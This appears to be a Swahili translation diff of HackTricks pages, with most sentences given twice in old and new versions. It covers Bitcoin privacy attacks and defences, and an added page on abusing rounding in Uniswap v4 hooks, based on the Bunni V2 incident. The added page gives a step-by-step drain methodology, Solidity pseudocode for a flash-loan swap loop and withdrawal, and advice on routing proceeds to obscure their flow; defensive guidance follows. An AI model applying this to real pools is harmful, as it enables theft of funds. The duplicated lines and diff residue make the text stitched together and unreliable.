## Wasiwasi wa Faragha wa Bitcoin
## Masuala ya Faragha ya Bitcoin
Mashambulizi ya faragha, kama vile **Common Input Ownership** na **UTXO Change Address Detection**, yanatumia mifumo ya muamala. Mikakati kama **Mixers** na **CoinJoin** inaboresha kutotambulika kwa kuficha viungo vya muamala kati ya watumiaji.
Mashambulizi ya faragha, kama **Common Input Ownership** na **UTXO Change Address Detection**, hunufaika na mifumo ya muamala. Mikakati kama **Mixers** na **CoinJoin** huboresha ufiwa wa siri kwa kuficha viungo vya miamala kati ya watumiaji.
## Kupata Bitcoins kwa Siri
## Kupata Bitcoins Bila Kutambulika
Mbinu zinajumuisha biashara za pesa taslimu, uchimbaji, na kutumia mixers. **CoinJoin** inachanganya muamala mingi ili kuleta ugumu katika kufuatilia, wakati **PayJoin** inaficha CoinJoins kama muamala wa kawaida kwa ajili ya faragha zaidi.
Njia ni pamoja na biashara kwa pesa taslimu, mining, na kutumia mixers. **CoinJoin** huchanganya miamala mingi ili kufanya ufuatiliaji kuwa mgumu, wakati **PayJoin** inaficha CoinJoins kama miamala ya kawaida kwa faragha iliyoongezeka.
# Mashambulizi ya Faragha ya Bitcoin
# Shambulio za Faragha za Bitcoin
# Muhtasari wa Mashambulizi ya Faragha ya Bitcoin
# Muhtasari wa Shambulio za Faragha za Bitcoin
Katika ulimwengu wa Bitcoin, faragha ya muamala na kutotambulika kwa watumiaji mara nyingi ni mada za wasiwasi. Hapa kuna muhtasari rahisi wa mbinu kadhaa za kawaida ambazo washambuliaji wanaweza kuathiri faragha ya Bitcoin.
Katika ulimwengu wa Bitcoin, faragha ya miamala na kutokujulikana kwa watumiaji mara nyingi ni vigezo vinavyotatizwa. Hapa kuna muhtasari uliorahisishwa wa baadhi ya mbinu za kawaida ambazo washambuliaji wanaweza kutumia kuvuruga faragha ya Bitcoin.
## **Ushirikiano wa Kawaida wa Ingizo**
## **Common Input Ownership Assumption**
Kwa kawaida ni nadra kwa ingizo kutoka kwa watumiaji tofauti kuunganishwa katika muamala mmoja kutokana na ugumu uliohusika. Hivyo, **anwani mbili za ingizo katika muamala mmoja mara nyingi zinadhaniwa kuwa za mmiliki mmoja**.
Kwa ujumla ni nadra kwa inputs kutoka kwa watumiaji tofauti kuchanganywa katika muamala mmoja kutokana na ugumu unaoshirikishwa. Kwa hivyo, **anwani mbili za input katika muamala mmoja mara nyingi huhesabiwa kuwa zinamtambulisha mmiliki mmoja**.
## **UTXO Change Address Detection**
UTXO, au **Unspent Transaction Output**, lazima itumike kabisa katika muamala. Ikiwa sehemu tu yake inatumwa kwa anwani nyingine, iliyobaki inaenda kwa anwani mpya ya mabadiliko. Waangalizi wanaweza kudhani anwani hii mpya inamhusu mtumaji, ikihatarisha faragha.
UTXO, au **Unspent Transaction Output**, lazima itumike yote katika muamala. Ikiwa sehemu tu yake inatumwa kwenye anwani nyingine, salio linalobaki hupelekwa kwenye anwani mpya ya change. Waangalizi wanaweza kubaini kwamba anwani hiyo mpya inamtambulisha mtumaji, hivyo kudhoofisha faragha.
### Mfano
Ili kupunguza hili, huduma za kuchanganya au kutumia anwani nyingi zinaweza kusaidia kuficha umiliki.
Ili kupunguza hili, huduma za kuchanganya (mixing) au kutumia anwani nyingi kunaweza kusaidia kuficha umiliki.
## **Kuwekwa kwa Mitandao ya Kijamii na Mifumo ya Majadiliano**
## **Social Networks & Forums Exposure**
Watumiaji wakati mwingine hushiriki anwani zao za Bitcoin mtandaoni, na kufanya **rahisi kuunganisha anwani hiyo na mmiliki wake**.
Watumiaji wakati mwingine hushiriki anwani zao za Bitcoin mtandaoni, na kuifanya iwe rahisi **kuunganisha anwani na mmiliki wake**.
## **Analizi ya Grafu za Muamala**
## **Transaction Graph Analysis**
Muamala unaweza kuonyeshwa kama grafu, ikifunua uhusiano wa uwezekano kati ya watumiaji kulingana na mtiririko wa fedha.
Miamala inaweza kuonyeshwa kama grafu, ikifichua muunganiko zinazowezekana kati ya watumiaji kulingana na mtiririko wa fedha.
## **Heuristics ya Ingizo Isiyo ya Lazima (Heuristics ya Mabadiliko Bora)**
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Heuristics hii inategemea kuchambua muamala wenye ingizo nyingi na matokeo ili kudhani ni ipi matokeo ni mabadiliko yanayorejea kwa mtumaji.
Heuristic hii inategemea kuchambua miamala yenye inputs na outputs nyingi ili kutabiri ni output gani ni change inayorudi kwa mtumaji.
### Mfano
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Ikiwa kuongeza ingizo zaidi kunafanya matokeo ya mabadiliko kuwa makubwa kuliko ingizo lolote, inaweza kuchanganya heuristics.
Ikiwa kuongeza inputs zaidi kunafanya change output kuwa kubwa kuliko input yoyote moja, inaweza kuchanganya heuristic.
## **Kurudi kwa Anwani Zilizo Lazimishwa**
## **Forced Address Reuse**
Washambuliaji wanaweza kutuma kiasi kidogo kwa anwani zilizotumika hapo awali, wakitumaini mpokeaji atachanganya hizi na ingizo zingine katika miamala ya baadaye, hivyo kuunganisha anwani pamoja.
Washambuliaji wanaweza kutuma kiasi kidogo kwa addresses zilizotumika hapo awali, wakitumai mpokeaji atasanganisha hizi na inputs nyingine katika transactions zijazo, na hivyo kuunganisha addresses pamoja.
### Tabia Sahihi ya Wallet
### Correct Wallet Behavior
Wallet zinapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani ambazo tayari zimetumika, ili kuzuia uvujaji huu wa faragha.
Wallets zinapaswa kuepuka kutumia coins zilizopokelewa kwa addresses zilizotumika tayari na zilizo tupu ili kuzuia privacy leak.
## **Mbinu Nyingine za Uchambuzi wa Blockchain**
## **Other Blockchain Analysis Techniques**
- **Kiasi Sahihi cha Malipo:** Miamala bila mabadiliko yanaweza kuwa kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
- **Nambari za Mzunguko:** Nambari ya mzunguko katika muamala inaonyesha ni malipo, huku matokeo yasiyo ya mzunguko yakionekana kuwa mabadiliko.
- **Fingerprinting ya Wallet:** Wallet tofauti zina mifumo ya kipekee ya kuunda miamala, ikiruhusu wachambuzi kubaini programu iliyotumika na labda anwani ya mabadiliko.
- **Uhusiano wa Kiasi na Wakati:** Kufichua nyakati au kiasi cha miamala kunaweza kufanya miamala iweze kufuatiliwa.
- **Exact Payment Amounts:** Transactions bila change zina uwezekano kuwa kati ya addresses mbili zinazomilikiwa na mtumiaji mmoja.
- **Round Numbers:** Namba za mviringo katika transaction zinaonyesha ni payment, ambapo output isiyo-round ina uwezekano kuwa change.
- **Wallet Fingerprinting:** Wallets tofauti zina mifumo ya kipekee ya kuunda transactions, ikimruhusu mchambuzi kutambua software iliyotumika na pengine change address.
- **Amount & Timing Correlations:** Kufichua transaction times au amounts kunaweza kufanya transactions ziweze kufuatiliwa.
## **Uchambuzi wa Trafiki**
## **Traffic Analysis**
Kwa kufuatilia trafiki ya mtandao, washambuliaji wanaweza kuunganisha miamala au vizuizi na anwani za IP, wakihatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa shirika linaendesha nodi nyingi za Bitcoin, kuimarisha uwezo wao wa kufuatilia miamala.
Kwa kufuatilia network traffic, washambuliaji wanaweza kuunganisha transactions au blocks na IP addresses, kukiuka faragha ya watumiaji. Hii hasa ni kweli ikiwa entiti inaendesha node nyingi za Bitcoin, ikiongeza uwezo wao wa kufuatilia transactions.
## Zaidi
## More
Kwa orodha kamili ya mashambulizi ya faragha na ulinzi, tembelea [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
Kwa orodha kamili ya privacy attacks na defenses, tembelea [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Miamala ya Bitcoin Yasiyo na Jina
# Anonymous Bitcoin Transactions
## Njia za Kupata Bitcoins kwa Njia ya Siri
## Ways to Get Bitcoins Anonymously
- **Miamala ya Fedha Taslimu**: Kupata bitcoin kupitia fedha taslimu.
- **Mbadala za Fedha Taslimu**: Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
- **Uchimbaji**: Njia ya faragha zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa inapofanywa peke yake kwa sababu makundi ya uchimbaji yanaweza kujua anwani ya IP ya mchimbaji. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Wizi**: Kimsingi, kuiba bitcoin kunaweza kuwa njia nyingine ya kuipata kwa siri, ingawa ni haramu na haipendekezwi.
- **Cash Transactions**: Kupata bitcoin kupitia pesa taslimu.
- **Cash Alternatives**: Kununua gift cards na kuzibadilisha mtandaoni kwa bitcoin.
- **Mining**: Njia yenye faragha zaidi ya kupata bitcoins ni kupitia mining, hasa pale inapo fanywa peke yako kwa sababu mining pools zinaweza kujua IP address ya mchimbaji. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Kivitendo, kuiba bitcoin inaweza kuwa njia nyingine ya kuipata bila kutambulika, ingawa ni kinyume cha sheria na haipendekezwi.
## Huduma za Mchanganyiko
## Mixing Services
Kwa kutumia huduma ya mchanganyiko, mtumiaji anaweza **kutuma bitcoins** na kupokea **bitcoins tofauti kwa kurudi**, ambayo inafanya kufuatilia mmiliki wa asili kuwa ngumu. Hata hivyo, hii inahitaji kuaminika kwa huduma hiyo kutoshika kumbukumbu na kurudisha bitcoins kwa kweli. Chaguzi mbadala za mchanganyiko ni pamoja na kasino za Bitcoin.
Kwa kutumia mixing service, mtumiaji anaweza send bitcoins na kupokea different bitcoins kwa kurudishwa, jambo linalofanya kuwa vigumu kufuatilia mmiliki wa awali. Hata hivyo, hii inahitaji kuwa na imani kwa huduma hiyo isitoe logs na kwamba itarudisha bitcoins kwa kweli. Chaguzi nyingine za kuchanganya ni pamoja na Bitcoin casinos.
## CoinJoin
**CoinJoin** inachanganya miamala kadhaa kutoka kwa watumiaji tofauti kuwa moja, ikifanya mchakato kuwa mgumu kwa yeyote anayejaribu kulinganisha ingizo na matokeo. Licha ya ufanisi wake, miamala yenye ukubwa wa kipekee wa ingizo na matokeo bado inaweza kufuatiliwa.
CoinJoin inaunganisha multiple transactions kutoka kwa watumiaji tofauti kuwa moja, ikiyafanya iwe ngumu kwa yeyote kuoanisha inputs na outputs. Licha ya ufanisi wake, transactions zenye ukubwa wa kipekee wa input na output bado zinaweza kufuatiliwa.
Mifano ya miamala ambayo inaweza kuwa imetumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Mifano ya transactions ambazo huenda zilitumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Kwa maelezo zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma sawa kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inafanya miamala kuwa ya siri kwa fedha kutoka kwa wachimbaji.
Kwa habari zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma inayofanana kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inaanonymize transactions kwa fedha kutoka kwa miners.
## PayJoin
Tofauti ya CoinJoin, **PayJoin** (au P2EP), inaficha muamala kati ya pande mbili (kwa mfano, mteja na mfanyabiashara) kama muamala wa kawaida, bila sifa ya matokeo sawa ya CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kubatilisha heuristics ya umiliki wa ingizo la kawaida inayotumiwa na mashirika ya ufuatiliaji wa muamala.
Toleo la CoinJoin, **PayJoin** (au P2EP), linaficha transaction kati ya pande mbili (mfano, mteja na mfanyabiashara) kama transaction ya kawaida, bila outputs sawa zinazotambulika za CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kuharibu common-input-ownership heuristic inayotumika na vyombo vinavyofuatilia transactions.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transactions kama hizo zinaweza kuwa PayJoin, ikiongeza faragha wakati inabaki kuwa isiyo na tofauti na muamala wa kawaida wa bitcoin.
Miamala kama ilivyo hapo juu zinaweza kuwa PayJoin, zikiboresha faragha huku zikiwa hazitambuliki kwa miamala ya bitcoin ya kawaida.
**Matumizi ya PayJoin yanaweza kuathiri kwa kiasi kikubwa mbinu za ufuatiliaji wa jadi**, na kuifanya kuwa maendeleo ya ahadi katika kutafuta faragha ya muamala.
**Matumizi ya PayJoin yanaweza kuathiri kwa kiasi kikubwa mbinu za jadi za ufuatiliaji**, na kuifanya kuwa maendeleo yenye matumaini katika harakati za faragha ya miamala.
# Mbinu Bora za Faragha katika Cryptocurrencies
# Mbinu Bora za Faragha katika Sarafu za Kidijitali
## **Mbinu za Usawazishaji wa Wallet**
## **Wallet Synchronization Techniques**
Ili kudumisha faragha na usalama, kusawazisha wallets na blockchain ni muhimu. Mbinu mbili zinajitokeza:
- **Node kamili**: Kwa kupakua blockchain yote, node kamili inahakikisha faragha ya juu. Muamala wote ambao umewahi kufanywa huhifadhiwa kwa ndani, na kufanya iwe vigumu kwa maadui kubaini ni muamala gani au anwani ambazo mtumiaji anavutiwa nazo.
- **Filtering ya block upande wa mteja**: Mbinu hii inahusisha kuunda filters kwa kila block katika blockchain, ikiruhusu wallets kubaini muamala muhimu bila kufichua maslahi maalum kwa waangalizi wa mtandao. Wallets nyepesi hupakua filters hizi, zikichukua blocks kamili tu wakati kuna mechi na anwani za mtumiaji.
- **Full node**: Kwa kupakua blockchain nzima, full node inahakikisha faragha ya juu kabisa. Miamala yote iliyofanywa huhifadhiwa kwa ndani, na hivyo kuifanya iwe haiwezekani kwa maadui kubaini ni miamala gani au anwani zipi mtumiaji anavutiwa nazo.
- **Client-side block filtering**: Mbinu hii inajumuisha kuunda filters kwa kila block katika blockchain, ikimruhusu wallet kutambua miamala zinazohusiana bila kufichua maslahi maalum kwa wachunguzi wa mtandao. Lightweight wallets hupakua filters hizi, zikichukua full blocks tu wakati kuna mechi na anwani za mtumiaji.
## **Kutumia Tor kwa Anonymity**
## **Utilizing Tor for Anonymity**
Kwa kuwa Bitcoin inafanya kazi kwenye mtandao wa mtu kwa mtu, kutumia Tor inapendekezwa kuficha anwani yako ya IP, ikiongeza faragha unaposhirikiana na mtandao.
Kwa kuwa Bitcoin inaendesha kwenye mtandao wa peer-to-peer, inashauriwa kutumia Tor kuficha anwani yako ya IP, hivyo kuongeza faragha wakati wa kuingiliana na mtandao.
## **Kuzuia Utumiaji wa Anwani Tena**
## **Preventing Address Reuse**
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila muamala. Kutumia tena anwani kunaweza kuhatarisha faragha kwa kuunganisha muamala na entiti ile ile. Wallets za kisasa zinakataa matumizi ya anwani tena kupitia muundo wao.
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila muamala. Kutumia anwani tena kunaweza kudhoofisha faragha kwa kuunganisha miamala na kiumbe kimoja. Wallets za kisasa zinahimiza kuepuka matumizi ya anwani tena kwa muundo wao.
## **Mikakati ya Faragha ya Muamala**
## **Strategies for Transaction Privacy**
- **Muamala mingi**: Kugawanya malipo katika muamala kadhaa kunaweza kuficha kiasi cha muamala, kukatisha mashambulizi ya faragha.
- **Kuepuka mabadiliko**: Kuchagua muamala ambao hauhitaji matokeo ya mabadiliko kunaboresha faragha kwa kuvuruga mbinu za kugundua mabadiliko.
- **Matokeo mengi ya mabadiliko**: Ikiwa kuepuka mabadiliko si rahisi, kuunda matokeo mengi ya mabadiliko bado kunaweza kuboresha faragha.
- **Multiple transactions**: Kugawa malipo katika miamala kadhaa kunaweza kuficha kiasi cha muamala, kuzuia mashambulizi ya faragha.
- **Change avoidance**: Kuchagua miamala isiyohitaji change outputs kunaboresha faragha kwa kuvuruga mbinu za kugundua change.
- **Multiple change outputs**: Ikiwa kuepuka change haiwezekani, kuunda change outputs nyingi bado kunaweza kuboresha faragha.
# **Monero: Mwanga wa Anonymity**
# **Monero: A Beacon of Anonymity**
Monero inakidhi hitaji la anonymity kamili katika muamala za kidijitali, ikiweka kiwango cha juu cha faragha.
Monero inashughulikia haja ya kutofahamika kabisa katika miamala za kidijitali, ikiweka kiwango cha juu cha faragha.
# **Ethereum: Gesi na Muamala**
# **Ethereum: Gas and Transactions**
## **Kuelewa Gesi**
## **Understanding Gas**
Gesi hupima juhudi za kompyuta zinazohitajika kutekeleza operesheni kwenye Ethereum, ikipimwa kwa **gwei**. Kwa mfano, muamala unaogharimu 2,310,000 gwei (au 0.00231 ETH) unahusisha kikomo cha gesi na ada ya msingi, pamoja na tips ili kuwahamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada inarejeshwa.
Gas hupima kazi ya kihesabu inayohitajika kutekeleza operesheni kwenye Ethereum, iliyopimwa kwa **gwei**. Kwa mfano, muamala unaogharimu 2,310,000 gwei (au 0.00231 ETH) unahusisha gas limit na base fee, pamoja na tip ili kuwahamasisha miners. Watumiaji wanaweza kuweka max fee ili kuhakikisha hawalipi zaidi, na ziada kurejeshwa.
## **Kutekeleza Muamala**
## **Executing Transactions**
Muamala katika Ethereum unahusisha mtumaji na mpokeaji, ambao unaweza kuwa anwani za mtumiaji au mkataba smart. Wanahitaji ada na lazima wachimbwe. Taarifa muhimu katika muamala inajumuisha mpokeaji, sahihi ya mtumaji, thamani, data ya hiari, kikomo cha gesi, na ada. Kwa kuzingatia, anwani ya mtumaji inapatikana kutoka kwa sahihi, ikiondoa hitaji lake katika data ya muamala.
Miamala katika Ethereum inahusisha mtumaji na mpokeaji, ambao wanaweza kuwa anwani za mtumiaji au za smart contract. Zinahitaji ada na lazima zichimbwe. Taarifa muhimu katika muamala ni pamoja na mpokeaji, saini ya mtumaji, thamani, data ya hiari, gas limit, na ada. Vilevile, anwani ya mtumaji hutokana na saini, hivyo sihitajike kuwa imejumuishwa katika data ya muamala.
Mbinu na mifumo hii ni msingi kwa yeyote anayetaka kushiriki na cryptocurrencies huku akipa kipaumbele faragha na usalama.
Mazoezi na mifumo hii ni msingi kwa yeyote anayetaka kushiriki katika sarafu za kidijitali huku akikipa kipaumbele faragha na usalama.
## Marejeo
@ -179,4 +181,12 @@ Mbinu na mifumo hii ni msingi kwa yeyote anayetaka kushiriki na cryptocurrencies
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM Exploitation
Ikiwa unatafiti practical exploitation ya vitendo ya DEXes na AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), angalia:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,160 @@
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
{{#include ../../banners/hacktricks-training.md}}
Ukurasa huu unaelezea darasa la mbinu za kuharibu DeFi/AMM dhidi ya DEXes za mtindo wa Uniswap v4 ambazo zinaongeza hisabati ya msingi kwa hooks maalum. Tukio la hivi karibuni kwenye Bunni V2 lilitumia hitilafu ya rounding/usahihi kwenye Liquidity Distribution Function (LDF) iliyotekelezwa kila swap, ikimruhusu mshambuliaji kupata credits chanya na kuondoa liquidity.
Wazo kuu: ikiwa hook inatekeleza uhasibu wa ziada unaotegemea math ya fixedpoint, tick rounding, na mantiki ya thresholds, mshambuliaji anaweza kuunda exactinput swaps ambazo zinavuka thresholds maalum ili utofauti wa rounding ukusanyike kwa faida yao. Kurudia muundo huo kisha kutoa salio lililofanywa upya hurealisha faida, mara nyingi kwa kufadhiliwa na flash loan.
## Background: Uniswap v4 hooks and swap flow
- Hooks ni mikataba ambayo PoolManager inaita kwa point maalum za lifecycle (mfano, beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
- Pools zinaanzishwa na PoolKey ikijumuisha hooks address. Ikiwa sio zero, PoolManager hufanya callbacks kwenye kila operation inayofaa.
- Hisabati ya msingi inatumia formats za fixedpoint kama Q64.96 kwa sqrtPriceX96 na tick arithmetic kwa 1.0001^tick. Math yoyote maalum iliyowekwa juu ya hayo lazima iendane kwa uangalifu na semantics za rounding ili kuepuka invariant drift.
- Swaps zinaweza kuwa exactInput au exactOutput. Katika v3/v4, bei inasogea pamoja na ticks; kuvuka boundary ya tick kunaweza kuwasha/deactivate range liquidity. Hooks zinaweza kutekeleza mantiki ya ziada kwenye threshold/tick crossings.
## Vulnerability archetype: thresholdcrossing precision/rounding drift
Mfano wa kawaida wa kuwa hatarini kwenye hooks maalum:
1. Hook inahesabu perswap liquidity au balance deltas kwa kutumia integer division, mulDiv, au conversions za fixedpoint (mfano, token ↔ liquidity kwa kutumia sqrtPrice na tick ranges).
2. Mantiki ya threshold (mfano, rebalancing, stepwise redistribution, au perrange activation) inaamshwa wakati swap size au price movement inapovuka boundary ya ndani.
3. Rounding inatumiwa kwa njia isiyoendana (mfano, truncation kuelekea sifuri, floor dhidi ya ceil) kati ya hesapisho la mbele na njia ya settlement. Tofauti ndogo hazibatiliani na badala yake zinamcredit caller.
4. Exactinput swaps, zilizo sizing kwa usahihi ili kutengeneza straddle ya boundaries hizo, zinasaga remainder chanya wa rounding mara kwa mara. Mshambuliaji baadaye hutoa credit iliyokusanywa.
Masharti ya kushambuliwa
- Pool inayotumia v4 hook maalum ambayo inafanya hisabati ya ziada kwa kila swap (mfano, LDF/rebalancer).
- Angalau njia moja ya utekelezwaji ambapo rounding inamnufaisha swap initiator wakati wa threshold crossings.
- Uwezo wa kurudia swaps nyingi atomically (flash loans ni bora kutoa float ya muda na kugawanya gharama za gas).
## Practical attack methodology
1) Tambua pools zinazowezekana zenye hooks
- Enumarate v4 pools na angalia PoolKey.hooks != address(0).
- Inspekta hook bytecode/ABI kwa callbacks: beforeSwap/afterSwap na njia zozote za rebalancing maalum.
- Tafuta hisabati inayofanya: kugawanya kwa liquidity, kubadilisha kati ya token amounts na liquidity, au kujumlisha BalanceDelta kwa rounding.
2) Modeli hisabati na thresholds za hook
- Recreate formula ya liquidity/redistribution ya hook: input kawaida ni sqrtPriceX96, tickLower/Upper, currentTick, fee tier, na net liquidity.
- Ramani functions za threshold/step: ticks, mipaka ya buckets, au LDF breakpoints. Tambua upande gani wa kila boundary delta inarounded.
- Tambua ambapo conversions zinaweka kati ya uint256/int256, kutumia SafeCast, au kutegemea mulDiv na implicit floor.
3) Calibrate exactinput swaps ili kuvuka boundaries
- Tumia Foundry/Hardhat simulations kuhesabu Δin ndogo kabisa inayohitajika kusogeza price kidogo kuvuka boundary na kuamsha branch ya hook.
- Thibitisha kuwa afterSwap settlement inamcredit caller zaidi ya gharama, ikiacha BalanceDelta chanya au credit katika uhasibu wa hook.
- Rudia swaps ili kukusanya credit; kisha ita call njia ya hook ya withdrawal/settlement.
Example Foundrystyle test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundarycrossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hookexposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
Kusawazisha exactInput
- Hesabu ΔsqrtP kwa hatua ya tick: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- Kadiria Δin ukitumia fomula za v3/v4: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Hakikisha mwelekeo wa rounding unalingana na hisabati ya msingi.
- Rekebisha Δin kwa ±1 wei karibu na boundary ili kupata branch ambapo hook inazungusha kwa faida yako.
4) Kuongeza kwa flash loans
- Kopa notional kubwa (mfano: 3M USDT au 2000 WETH) ili kuendesha iteresheni nyingi kwa atomiki.
- Endesha loop ya swap iliyokalibrwa, kisha toa na lipa ndani ya flash loan callback.
Muundo wa flash loan wa Aave V3
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run thresholdcrossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) Kutoka na kuiga kwa mnyororo tofauti
- Ikiwa hooks zimewekwa kwenye mnyororo mbalimbali, rudia kalibrishaji sawa kwa kila mnyororo.
- Bridge hurudisha mapato kwenye mnyororo lengwa na kwa hiari inaweza kuzunguka kupitia lending protocols ili kuficha mtiririko.
## Sababu za msingi za kawaida katika hisabati ya hook
- Semantiki mchanganyiko za rounding: mulDiv hufloor wakati njia za baadaye kwa ufanisi hufanya round up; au uongofu kati ya token/liquidity unatumia rounding tofauti.
- Makosa ya upatanisho wa tick: kutumia ticks zisizozungushwa katika njia moja na tickspaced rounding katika nyingine.
- Masuala ya ishara/overflow ya BalanceDelta wakati wa kubadilisha kati ya int256 na uint256 wakati wa settlement.
- Kupoteza usahihi katika uongofu wa Q64.96 (sqrtPriceX96) ambayo haijaonyeshwa katika reverse mapping.
- Njia za kuongezeka: mabaki ya kila swap yanayofuatiliwa kama credits yanayoweza kutolewa na mwito badala ya kuchomwa/zerosum.
## Mwongozo wa kujilinda
- Differential testing: kuiga hisabati ya hook dhidi ya utekelezaji wa rejea kwa kutumia arithmetic ya rational yenye usahihi mkubwa na kuthibitisha usawa au kosa lililofungwa ambalo daima ni la kushambulia (sio kamwe lenye faida kwa mwito).
- Invariant/property tests:
- Jumla ya deltas (tokens, liquidity) katika njia za swap na marekebisho ya hook lazima izihifadhi thamani modulo fees.
- Hakuna njia inapaswa kuunda mkopo safi chanya kwa mianzishaji wa swap katika mizunguko iliyorudiwa ya exactInput.
- Majaribio ya mipaka ya threshold/tick karibu na ingizo za ±1 wei kwa exactInput/exactOutput.
- Sera za rounding: kuunganisha helpers za rounding ambazo kila mara huzungusha dhidi ya mtumiaji; ondoa casts zisizoendana na implicit floors.
- Settlement sinks: kusanya mabaki ya rounding yasiyoweza kuepukika kwa hazina ya protocol au kuyachoma; kamwe usiyachukue kama msg.sender.
- Ratelimits/guardrails: ukubwa wa chini wa swap kwa triggers za rebalancing; zima rebalances ikiwa deltas ni subwei; angalia akili deltas dhidi ya anuwai zilizotarajiwa.
- Kagua callbacks za hook kwa ujumla: beforeSwap/afterSwap na before/after mabadiliko ya liquidity zinapaswa kukubaliana kuhusu upatanisho wa tick na rounding ya delta.
## Masomo ya kesi: Bunni V2 (20250902)
- Protocol: Bunni V2 (Uniswap v4 hook) na LDF iliyoanzishwa kwa kila swap ili kurebalance.
- Sababu ya msingi: kosa la rounding/usahihi katika uhasibu wa liquidity wa LDF wakati wa swaps zinazoipitisha threshold; tofauti za kila swap zilikusanywa kama credits chanya kwa mwito.
- Ethereum leg: mshambuliaji alichukua flash loan ya ~3M USDT, alifanya swaps za calibrated exactinput kwenye USDC/USDT kujenga credits, alitoa salio lililopanuliwa, alirudisha deni, na alipanga fedha kupitia Aave.
- UniChain leg: walirudia exploit kwa flash loan ya 2000 WETH, wakivuta ~1366 WETH na kuibandika/bridge kwenda Ethereum.
- Athari: takriban USD 8.3M zilivutwa katika mnyororo mbalimbali. Hakuna mwingiliano wa mtumiaji uliohitajika; yote yalifanyika onchain.
## Orodha ya ukaguzi
- Je, pool inatumia anwani ya hooks isiyo sifuri? Ni callbacks gani zimewezeshwa?
- Je kuna redistributions/rebalances za kila swap zinotumia hisabati maalum? Kuna mantiki ya tick/threshold?
- Divisions/mulDiv, Q64.96 conversions, au SafeCast zimetumika wapi? Je semantiki za rounding ni zinazoendana kimataifa?
- Je unaweza kuunda Δin inayopita mpaka kwa ncha na kutoa tawi la rounding lenye faida? Jaribu pande zote na exactInput na exactOutput.
- Je hook inafuata credits au deltas kwa kila mwito ambazo zinaweza kutolewa baadaye? Hakikisha mabaki yananuletraliza.
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## Misingi ya Kimsingi
- **Smart Contracts** zin defined kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanatimizwa, zikifanya kiotomatiki utekelezaji wa makubaliano bila wahusika wa kati.
